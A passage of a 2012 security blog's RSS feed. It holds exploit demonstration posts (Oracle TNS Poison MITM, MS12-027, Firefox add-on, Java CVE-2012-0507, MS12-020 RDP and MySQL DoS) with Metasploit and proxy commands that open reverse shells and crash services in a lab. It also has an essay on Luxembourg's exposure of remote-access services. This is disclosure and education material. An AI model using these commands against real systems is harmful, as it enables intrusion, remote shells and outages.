<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1675" target="_blank"> CVE-2012-1675</a><br />
<a href="http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html" target="_blank"> Oracle Security Alert for CVE-2012-1675</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>All versions of Oracle Database</p>
<h4><strong>Tested </strong>with :</h4>
<p>Oracle Database 10g Enterprise Edition Release 10.2.0.4.0</p>
<h4><strong>Description :</strong></h4>
<p><a href="http://eromang.zataz.com/wp-content/uploads/oracle-tns-poison.png"><img class="size-full wp-image-3687 alignnone" title="oracle-tns-poison" src="http://eromang.zataz.com/wp-content/uploads/oracle-tns-poison.png" alt="" width="440" height="204" /></a></p>
<p>Usage of Joxean Koret PoC require that the database name has a length of 6 characters.</p>
<p><em><span style="text-decoration: underline;">Database server characteristics :</span></em></p>
<p>IP : 192.168.178.150<br />
Oracle version : 10.2.0.4.0<br />
Database listener port : 1521<br />
Database listener has no clients IPs restrictions<br />
Database name : arcsig<br />
Database username : arcsig<br />
Database password : testtest</p>
<p><span style="text-decoration: underline;"><em>Database client characteristics :</em></span></p>
<p>IP : 192.168.178.151<br />
SQL*Plus version : 10.2.0.4.0</p>
<p>&#8220;<em>tnsnames.ora</em>&#8221; file as bellow :</p>
<blockquote><p>TARGET.DB=<br />
(DESCRIPTION =<br />
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521))<br />
(CONNECT_DATA =<br />
(SERVICE_NAME= arcsig)<br />
)<br />
)</p></blockquote>
<p><span style="text-decoration: underline;"><em>Attacker characteristics :</em></span></p>
<p>IP : 192.168.178.100<br />
Usage of PoC provided by Joxean Koret</p>
<h4><strong>Demonstration :</strong></h4>
<p><em><strong>PoC validation phase</strong></em></p>
<p><span style="text-decoration: underline;"><em>On database server :</em></span></p>
<p>ifconfig<br />
ps faux<br />
netstat -tan</p>
<p><span style="text-decoration: underline;"><em>On database client :</em></span></p>
<p>ifconfig<br />
sqlplus -v<br />
cat tnsnames.ora<br />
sqlplus arcsig@TARGET.DB<br />
HELP<br />
QUIT</p>
<p><em><strong>PoC exploitation phase</strong></em></p>
<p><span style="text-decoration: underline;"><em>On attacker :</em></span></p>
<p>Start the MITM proxy, how will intercept the communication between the client and the database :</p>
<blockquote><p>sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521</p></blockquote>
<p>Start the vulnerability exploitation :</p>
<blockquote><p>python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521</p></blockquote>
<p><span style="text-decoration: underline;"><em>On the database client :</em></span></p>
<p>Connect with SQL*Plus<br />
sqlplus arcsig@TARGET.DB<br />
?<br />
? INDEX<br />
TOTO<br />
QUIT</p>
<p>You can see that the communication are intercepted by the proxy.<br />
<iframe width="560" height="315" src="http://www.youtube.com/embed/hE3-AkxSX3w" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/04/30/oracle-database-tns-poison-0day-video-demonstration/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MS12-027 MSCOMCTL ActiveX Buffer Overflow Metasploit Demo</title>
		<link>http://eromang.zataz.com/2012/04/25/ms12-027-mscomctl-activex-buffer-overflow-metasploit-demo/</link>
		<comments>http://eromang.zataz.com/2012/04/25/ms12-027-mscomctl-activex-buffer-overflow-metasploit-demo/#comments</comments>
		<pubDate>Wed, 25 Apr 2012 15:18:53 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3677</guid>
		<description><![CDATA[Timeline :
Vulnerability reported by Unknown to the vendor
Public release of the vulnerability the 2012-04-10
Vulnerability found exploited in targeted attacks the 2012-04-12
Metasploit PoC provided the 2012-04-23
PoC provided by :
Unknown
juan vazquez
sinn3r
Reference(s) :
CVE-2012-0158
 MS12-027
  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability reported by Unknown to the vendor<br />
Public release of the vulnerability the 2012-04-10<br />
Vulnerability found exploited in targeted attacks the 2012-04-12<br />
Metasploit PoC provided the 2012-04-23</p>
<h4><strong>PoC provided by :</strong></h4>
<p>Unknown<br />
juan vazquez<br />
sinn3r</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158" target="_blank">CVE-2012-0158</a><br />
<a href="http://technet.microsoft.com/en-us/security/bulletin/MS12-027" target="_blank"> MS12-027</a><br />
<a href="http://osvdb.org/81125" target="_blank"> OSVDB-81125</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>Microsoft Office 2003 SP3<br />
Microsoft Office 2003 Web Components SP3<br />
Microsoft Office 2007 SP2<br />
Microsoft Office 2007 SP3<br />
Microsoft Office 2010 32-bit<br />
Microsoft Office 2010 SP1 32-bit<br />
Microsoft SQL Server 2000 Analysis SP4<br />
Microsoft SQL Server 2000 SP4<br />
Microsoft SQL Server 2005 Express Edition with Advanced SP4<br />
Microsoft SQL Server 2005 for 32-bit SP4<br />
Microsoft SQL Server 2005 for x64-bit SP4<br />
Microsoft SQL Server 2008 for 32-bit SP2<br />
Microsoft SQL Server 2008 for 32-bit SP3<br />
Microsoft SQL Server 2008 for x64-bit SP2<br />
Microsoft SQL Server 2008 for x64-bit SP3<br />
Microsoft SQL Server 2008 R2 for 32-bit<br />
Microsoft SQL Server 2008 R2 for x64-bit<br />
Microsoft BizTalk Server 2002 SP1<br />
Microsoft Commerce Server 2002 SP4<br />
Microsoft Commerce Server 2007 SP2<br />
Microsoft Commerce Server 2009<br />
Microsoft Commerce Server 2009 R2<br />
Microsoft Visual FoxPro 8.0 SP1<br />
Microsoft Visual FoxPro 9.0 SP2<br />
Visual Basic 6.0 Runtime</p>
<h4><strong>Tested on Windows XP Pro SP3 </strong>with :</h4>
<p>Microsoft Office Word 2007 (12.0.4518.104)</p>
<h4><strong>Description :</strong></h4>
<p>This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses &#8220;msgr3en.dll&#8221;, which will load after office got load, so the malicious file must be loaded through &#8220;File / Open&#8221; to achieve exploitation.</p>
<h4><strong>Commands :</strong></h4>
<pre>use exploit/windows/fileformat/ms12_027_mscomctl_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.21.47
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.21.47
exploit -j

getuid
sysinfo</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/_lTtrbbCXXw" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/04/25/ms12-027-mscomctl-activex-buffer-overflow-metasploit-demo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mozilla Firefox Bootstrapped Add-on Social Engineering Code Execution Metasploit Demo</title>
		<link>http://eromang.zataz.com/2012/04/11/mozilla-firefox-bootstrapped-add-on-social-engineering-code-execution-metasploit-demo/</link>
		<comments>http://eromang.zataz.com/2012/04/11/mozilla-firefox-bootstrapped-add-on-social-engineering-code-execution-metasploit-demo/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 18:54:53 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Mozilla]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3672</guid>
		<description><![CDATA[Timeline :
Vulnerability found Jason Avery the 2007-06-27
Metasploit PoC provided the 2012-04-10
PoC provided by :
mihi
Reference(s) :
None
Affected version(s) :
All versions of Mozilla Firefox
Tested on Windows XP Pro SP3  with :
Mozilla Firefox 11.0
Description :
This exploit dynamically creates  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability found Jason Avery the 2007-06-27<br />
Metasploit PoC provided the 2012-04-10</p>
<h4><strong>PoC provided by :</strong></h4>
<p>mihi</p>
<h4><strong>Reference(s) :</strong></h4>
<p>None</p>
<h4><strong>Affected version(s) :</strong></h4>
<p>All versions of Mozilla Firefox</p>
<h4><strong>Tested on Windows XP Pro SP3 </strong> with :</h4>
<p>Mozilla Firefox 11.0</p>
<h4><strong>Description :</strong></h4>
<p>This exploit dynamically creates a .xpi add-on file. The resulting bootstrapped Firefox add-on is presented to the victim via a web page with. The victim&#8217;s Firefox browser will pop a dialog asking if they trust the add-on. Once the user clicks &#8220;install&#8221;, the add-on is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the add-on is marked to be &#8220;bootstrapped&#8221;. As the add-on will execute the payload after each Firefox restart, an option can be given to automatically uninstall the add-on once the payload has been executed.</p>
<h4><strong>Commands :</strong></h4>
<pre>use exploit/multi/browser/firefox_xpi_bootstrapped_addon
set SRVHOST 192.168.178.100
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

getuid
sysinfo</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/7bqiDj4n0ho" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/04/11/mozilla-firefox-bootstrapped-add-on-social-engineering-code-execution-metasploit-demo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle MySQL InnoDB Bugs 13510739 and 63775 DoS Demo</title>
		<link>http://eromang.zataz.com/2012/04/10/oracle-mysql-innodb-bugs-13510739-and-63775-dos-demo/</link>
		<comments>http://eromang.zataz.com/2012/04/10/oracle-mysql-innodb-bugs-13510739-and-63775-dos-demo/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 19:32:55 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3666</guid>
		<description><![CDATA[Timeline :
Public release of the vulnerabilities the 2012-03-21
Details of the vulnerability published by Oracle the 2012-04-10
PoC provided by Oracle the 2012-03-21 in the source code of 5.5.22 and 5.1.62
PoC provided by :
Oracle
Reference(s) :
SA48744
 MySQL 5.5.22 release note
 MySQL 5.1.62  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Public release of the vulnerabilities the 2012-03-21<br />
Details of the vulnerability published by Oracle the 2012-04-10<br />
PoC provided by Oracle the 2012-03-21 in the source code of 5.5.22 and 5.1.62</p>
<h4><strong>PoC provided by :</strong></h4>
<p>Oracle</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://secunia.com/advisories/48744" target="_blank">SA48744</a><br />
<a href="http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html" target="_blank"> MySQL 5.5.22 release note</a><br />
<a href="http://dev.mysql.com/doc/refman/5.1/en/news-5-1-62.html" target="_blank"> MySQL 5.1.62 release note</a><br />
<a href="http://pastebin.com/tCxNTD96" target="_blank"> Eric Romang Pastebin</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>MySQL Server 5.5.21 and previous versions<br />
MySQL Server 5.1.61 and previous versions</p>
<h4><strong>Tested on Centos 5 </strong> with :</h4>
<p>MySQL 5.5.21</p>
<h4><strong>Description :</strong></h4>
<p>Oracle has release, the 21 March, two new versions of MySQL, version 5.5.22 and 5.1.62. These versions have fix two bugs <a href="http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=13510739" target="_blank">#13510739</a> and <a href="http://bugs.mysql.com/bug.php?id=63775" target="_blank">#63775</a> how are considered as security fixes. But no impact details of these bugs are provided and the bugs report are closed.<br />
Unfortunately for Oracle the two new versions were shipped with a development script &#8220;<em>mysql-test/suite/innodb/t/innodb_bug13510739.test</em>&#8221; in order to test the fix of the vulnerabilities, a PoC provided by Oracle. The bugs cause a denial of service of MySQL &#8220;<em>ON HANDLER READ NEXT AFTER DELETE RECORD</em>&#8220;. All the details are available in the script or on the upper Pastebin link.</p>
<h4><strong>Commands :</strong></h4>
<pre>mysql -u root -p database &lt; innodb_bug13510739.test</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/RHgdUoXIDro" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/04/10/oracle-mysql-innodb-bugs-13510739-and-63775-dos-demo/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Luxembourg Critical Remote Management Applications Attack Surface</title>
		<link>http://eromang.zataz.com/2012/04/10/luxembourg-critical-remote-management-applications-attack-surface/</link>
		<comments>http://eromang.zataz.com/2012/04/10/luxembourg-critical-remote-management-applications-attack-surface/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 23:29:40 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Various]]></category>
		<category><![CDATA[Luxembourg]]></category>
		<category><![CDATA[PCAnywhere]]></category>
		<category><![CDATA[RDP]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Telnet]]></category>
		<category><![CDATA[VNC]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3658</guid>
		<description><![CDATA[MS12-020 patch is now out since a month with associate DoS PoC&#8217;s available for pen tester&#8217;s and other populations how have not equivalent ethic. Lot of articles, blog posts have been written around CVE-2012-0002, a vulnerability discovered by Luigi Auriemma in May 2011, reported to ZDI in August  [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020" target="_blank">MS12-020</a></strong> patch is now out since a month with associate DoS PoC&#8217;s available for pen tester&#8217;s and other populations how have not equivalent ethic. Lot of articles, blog posts have been written around <strong><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002" target="_blank">CVE-2012-0002</a></strong>, a vulnerability discovered by <strong><a href="http://aluigi.org/adv/ms12-020_leak.txt" target="_blank">Luigi Auriemma</a></strong> in May 2011, reported to ZDI in August 2011 and disclosed in a coordinated manner in March 2012.</p>
<p>One of these MS12-020 related articles was written by <strong>Dan Kaminsky</strong>, &#8220;<em><a href="http://dankaminsky.com/2012/03/18/rdp/" target="_blank">RDP and the Critical Server Attack Surface</a></em>&#8220;. This blog post fact to remember that some applications are more critical than others due to they&#8217;re roles and they&#8217;re expositions to Internet.</p>
<p>Dan has scan around 300 million IPs, who are representing around 8.3% of the Internet, and 415 thousands showed an open RDP (<em>3389/TCP</em>), a <strong>ratio of 0,14%</strong>. By extrapolation Dan has arrived to around 5 million RDP endpoints on the Internet. Hopefully for the Internet community (<em>should I say for the sysadmins ?</em>), despite the efforts by security researches (<em>most on freenode #ms12-020</em>), MS12-020 has &#8220;<del><em>only</em></del>&#8221; lead to a DoS exploit. Potentially 5 million BSoD&#8217;s (<em>Blue Screen of Death</em>), it is a blessing in disguise ?</p>
<p>In his article Dan Kaminsky has also remember us that other critical server attack surfaces are existing on Internet, such as TCP/IP, HTTP, SSL, SSH, DNS or SMTP, and that all these applications are playing potential essential roles for business.</p>
<p>I have done the same study for the <strong>Luxembourg</strong> landscape with around <strong>550 000 IP addresses</strong>, but before giving my results I would like to explain you what is Luxembourg <img src='http://eromang.zataz.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>If you don&#8217;t know, Luxembourg has the higher GDP in Europe and is classified in the top 3 of the list of countries by GDP per capita (<em><a href="http://en.wikipedia.org/wiki/List_of_countries_by_GDP_(PPP)_per_capita" target="_blank">Wikipedia source</a></em>). Also more than 90% of population is using Internet and 82% of the population connect to Internet daily. Luxembourg became the geography with the highest ratio of malicious email activity in February 2012 regarding<em> <a href="http://www.slideshare.net/symantec/2012-february-symantec-intelligence-report" target="_blank">Symantec Intelligence Report</a></em>.</p>
<p>Also Luxembourg has a total balance sheet of Euro 776 billion in credit institutions and the Luxembourg banking sector comprised 143 credit institutions from over 20 different countries (<em><a href="http://www.pwc.lu/en/banking/docs/pwc-banking-luxembourg.pdf" target="_blank">pwc Luxembourg source</a></em>). All of these credit institutions are under the <a href="http://www.cssf.lu/" target="_blank">CSSF</a> (<em>Commission de Surveillance du Secteur Financier</em>) surveillance and most of them are delegating their IT management to PSF (<em>Professionals of the Financial Sector</em>), also known as &#8220;<em>Primary IT systems operators</em>&#8221; and &#8220;<em>Secondary IT systems and network operators</em>&#8220;.</p>
<p>In conclusion most of the IP addresses assigned to Luxembourg have a potential high asset value for bad guys. Luxembourg IP addresses ranges assigned for Internet broadband access, have surely a bigger return on investment compared to other countries in case phishing or malware campaigns. Also IP addresses ranges assigned to professionals of the financial sector are surely hosting e-banking or fund transactions infrastructures, a prime target for cyber crime.</p>
<p>So, what are the results for Luxembourg, a country how normally should have a less ratio of exposition than others du to the fact that an IP address has a higher asset value than 300 million addresses arbitrary scanned. I have only focus on applications equivalent to RDP, these applications are known as &#8220;<em>Remote Access Services</em>&#8221; (RDP, ssh, telnet, VNC, PCAnywhere, Citrix, etc.).</p>
<p>In &#8220;<em><a href="http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2012_en_xg.pdf" target="_blank">2012 Verizon Data Breach Report</a></em>&#8220;, &#8220;<em>Remote Access Services</em>&#8221; are noted &#8220;<em>as continuing their rise in prevalence, as hacking vector, accounting for 88% of all breaches leveraging hacking techniques &#8211; more than any other vector</em>&#8220;. Remote services accessible from the entire Internet, combined non patched applications, with default, weak, or stolen credentials continue to plague organizations. Scripted attacks seeking victims with known remote access ports, followed with issuance of known default vendor credentials, allow for targets of opportunity to be discovered and compromised in an automated and efficient manner.</p>
<p>Do you remember, Dan Kaminsky had discovered a ratio of <strong>0,14% of open RDP on 300 million IPs</strong>. In Luxembourg, this ratio is <strong>0,26%</strong>, twice Dan ratio. For ssh the ratio of open port is <strong>0,79%</strong>, for telnet the ratio is <strong>0,31% </strong>(still open telnet despite best practices ?), for VNC the ratio is <strong>0,06%</strong> and for PCAnywhere the ratio is <strong>0,02% </strong>(still open PCAnywhere despite the leaked source code ?).</p>
<p>Shouldn&#8217;t Luxembourg have a less ratios of open ports for &#8220;<em>Remote Access Services</em>&#8221; ? I think <strong>YES</strong>. But why are these ratios so important ? Surely because <strong>Security</strong> has fail in his mission, surely because Security is still understood as <strong>technical game</strong> and not as an insurance to protect the value of assets. Also maybe the cause could be that Internet is growing to fast and that the Internet grow speed don&#8217;t give the time to learn from errors. Internet maybe distort the reality, the memory and the time.</p>
<p>Just to remember a small list of vulnerabilities or backdoor&#8217;s how have target these critical remote server surfaces :</p>
<p><strong><span style="line-height: 18px;">2012 :</span></strong></p>
<ul>
<li><span style="line-height: 18px;">SSH : <a href="http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120328-ssh" target="_blank">cisco-sa-20120328-ssh</a> - Cisco IOS Software Reverse SSH Denial of Service Vulnerability</span></li>
<li><span style="line-height: 18px;">RDP : <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002" target="_blank">CVE-2012-0002</a> - Microsoft Remote Desktop Protocol Remote Code Execution Vulnerability</span></li>
<li><span style="line-height: 18px;">PCAnywhere : <a href="http://osvdb.org/show/osvdb/79412" target="_blank">OSVDB-79412</a> - PCAnywhere 12.5.0 build 463 Denial of Service</span></li>
</ul>
<div><strong><span style="line-height: 18px;">2011 :</span></strong></div>
<div>
<ul>
<li><span style="line-height: normal;">Telnet : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4862" target="_blank">CVE-2011-4862</a> - FreeBSD Telnet Service Encryption Key ID Buffer Overflow</span></li>
<li><span style="line-height: normal;">FTP : <a href="http://www.osvdb.org/show/osvdb/73573" target="_blank">OSVDB-73573</a> &#8211; vsftpd-2.3.4 backdoor</span></li>
<li><span style="line-height: normal;">SSH : <a href="http://www.exploit-db.com/exploits/17462/" target="_blank">EBD-ID-17462</a> &#8211; OpenSSH 3.5p1 Remote Root Exploit for FreeBSD</span></li>
</ul>
<div><strong>2010 :</strong></div>
<div>
<ul>
<li><span style="line-height: normal;">SMTP : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344" target="_blank">CVE-2010-4344</a> &#8211; Exim4 &lt;= 4.69 string_format Function Heap Buffer Overflow</span></li>
<li><span style="line-height: normal;">FTP : <a href="http://osvdb.org/show/osvdb/69562" target="_blank">OSVDB-69562</a> &#8211;  ProFTPD 1.3.3c compromised source remote root Trojan</span></li>
<li><span style="line-height: normal;">FTP : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3867" target="_blank">CVE-2010-3867</a> &#8211; ProFTPD IAC Remote Root Exploit</span></li>
<li><span style="line-height: normal;">FTP : <a href="http://osvdb.org/show/osvdb/62134" target="_blank">OSVDB-62134</a> &#8211; Easy FTP Server v1.7.0.11 Multiple Commands Remote Buffer Overflow Exploit (Post Auth)</span></li>
</ul>
<div><strong>2009 :</strong></div>
<div>
<ul>
<li><span style="line-height: normal;">FTP : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3023" target="_blank">CVE-2009-3023</a> &#8211; Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)</span></li>
</ul>
<div><strong>2008 :</strong></div>
<div>
<ul>
<li><span style="line-height: normal;">DNS : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-1447 " target="_blank">CVE-2008-1447</a> &#8211; Remote DNS Cache Poisoning Flaw Exploit</span></li>
<li><span style="line-height: normal;">SSH : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166" target="_blank">CVE-2008-0166</a> &#8211; Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit</span></li>
</ul>
<div>Etc. Etc.</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/04/10/luxembourg-critical-remote-management-applications-attack-surface/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS12-020 Microsoft Remote Desktop (RDP) DoS Metasploit Demo</title>
		<link>http://eromang.zataz.com/2012/03/31/ms12-020-microsoft-remote-desktop-rdp-dos-metasploit-demo/</link>
		<comments>http://eromang.zataz.com/2012/03/31/ms12-020-microsoft-remote-desktop-rdp-dos-metasploit-demo/#comments</comments>
		<pubDate>Sat, 31 Mar 2012 12:59:37 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[RDP]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3652</guid>
		<description><![CDATA[Timeline :
Vulnerability found by Luigi Auriemma the 2011-05-16
Vulnerability reported by Luigi Auriemma to ZDI
Vulnerability reported to the vendor by ZDI the 2011-08-24
Coordinated public release of the vulnerability the 2012-03-13
Details of the vulnerability published by Luigi Auriemma the  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability found by Luigi Auriemma the 2011-05-16<br />
Vulnerability reported by Luigi Auriemma to ZDI<br />
Vulnerability reported to the vendor by ZDI the 2011-08-24<br />
Coordinated public release of the vulnerability the 2012-03-13<br />
Details of the vulnerability published by Luigi Auriemma the 2012-05-16<br />
Metasploit PoC provided the 2012-03-19</p>
<h4><strong>PoC provided by :</strong></h4>
<p>Luigi Auriemma<br />
Daniel Godas-Lopez<br />
Alex Ionescu<br />
jduck</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002" target="_blank">CVE-2012-0002</a><br />
<a href="http://technet.microsoft.com/en-us/security/bulletin/MS12-020" target="_blank"> MS12-020</a><br />
<a href="http://www.zerodayinitiative.com/advisories/ZDI-12-044/" target="_blank"> ZDI-12-044</a><br />
<a href="http://osvdb.org/80004" target="_blank"> OSVDB-80004</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>Windows XP SP3<br />
Windows XP Professional x64 SP2<br />
Windows Server 2003 SP2<br />
Windows Server 2003 x64 SP2<br />
Windows Vista SP2<br />
Windows Vista x64 SP2<br />
Windows Server 2008 32 SP2<br />
Windows Server 2008 x64 SP2<br />
Windows 7 for 32 and Windows 7 32 SP1<br />
Windows 7 for x64 and Windows 7 for x64 SP1<br />
Windows Server 2008 R2 x64 and Windows Server 2008 R2 x64 SP1</p>
<h4><strong>Tested on Windows XP Pro SP3 </strong></h4>
<h4><strong>Description :</strong></h4>
<p>This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.</p>
<h4><strong>Commands :</strong></h4>
<pre>use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
SET RHOST 192.168.178.22
exploit</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/bMKA2EyHFME" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/03/31/ms12-020-microsoft-remote-desktop-rdp-dos-metasploit-demo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability Metasploit Demo</title>
		<link>http://eromang.zataz.com/2012/03/31/cve-2012-0507-java-atomicreferencearray-type-violation-vulnerability-metasploit-demo/</link>
		<comments>http://eromang.zataz.com/2012/03/31/cve-2012-0507-java-atomicreferencearray-type-violation-vulnerability-metasploit-demo/#comments</comments>
		<pubDate>Sat, 31 Mar 2012 12:31:52 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3648</guid>
		<description><![CDATA[Timeline :
Vulnerability found by Jeroen Frijters
Vulnerability reported to the vendor by Jeroen Frijters the 2011-08-01
Coordinated public release of the vulnerability the 2012-02-14
Details of the vulnerability published by Jeroen Frijters the 2012-02-23
Metasploit PoC provided the 2012-03-29
PoC  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability found by Jeroen Frijters<br />
Vulnerability reported to the vendor by Jeroen Frijters the 2011-08-01<br />
Coordinated public release of the vulnerability the 2012-02-14<br />
Details of the vulnerability published by Jeroen Frijters the 2012-02-23<br />
Metasploit PoC provided the 2012-03-29</p>
<h4><strong>PoC provided by :</strong></h4>
<p>Jeroen Frijters<br />
sinn3r<br />
juan vazquez<br />
egypt</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507" target="_blank">CVE-2012-0507</a><br />
<a href="http://osvdb.org/show/osvdb/80724" target="_blank">OSVDB-80724</a><br />
<a href="http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html" target="_blank"> Oracle Java SE Critical Patch Update Advisory &#8211; February 2012</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>Oracle Java SE 7 Update 2 and before<br />
Oracle Java SE 6 Update 30 and before<br />
Oracle Java SE 5.0 Update 33 and before</p>
<h4><strong>Tested on Windows XP Pro SP3 </strong> with :</h4>
<p>Oracle Java SE 6 Update 16<br />
Internet Explorer 8</p>
<h4><strong>Description :</strong></h4>
<p>This module exploits a vulnerability due to the fact that AtomicReferenceArray uses the Unsafe class to store a reference in an array directly, which may violate type safety if not used properly. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.</p>
<h4><strong>Commands :</strong></h4>
<pre>use exploit/multi/browser/java_atomicreferencearray
SET SRVHOST 192.168.178.100
SET PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.178.100
exploit</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/JEmKEsCNdGw" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/03/31/cve-2012-0507-java-atomicreferencearray-type-violation-vulnerability-metasploit-demo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

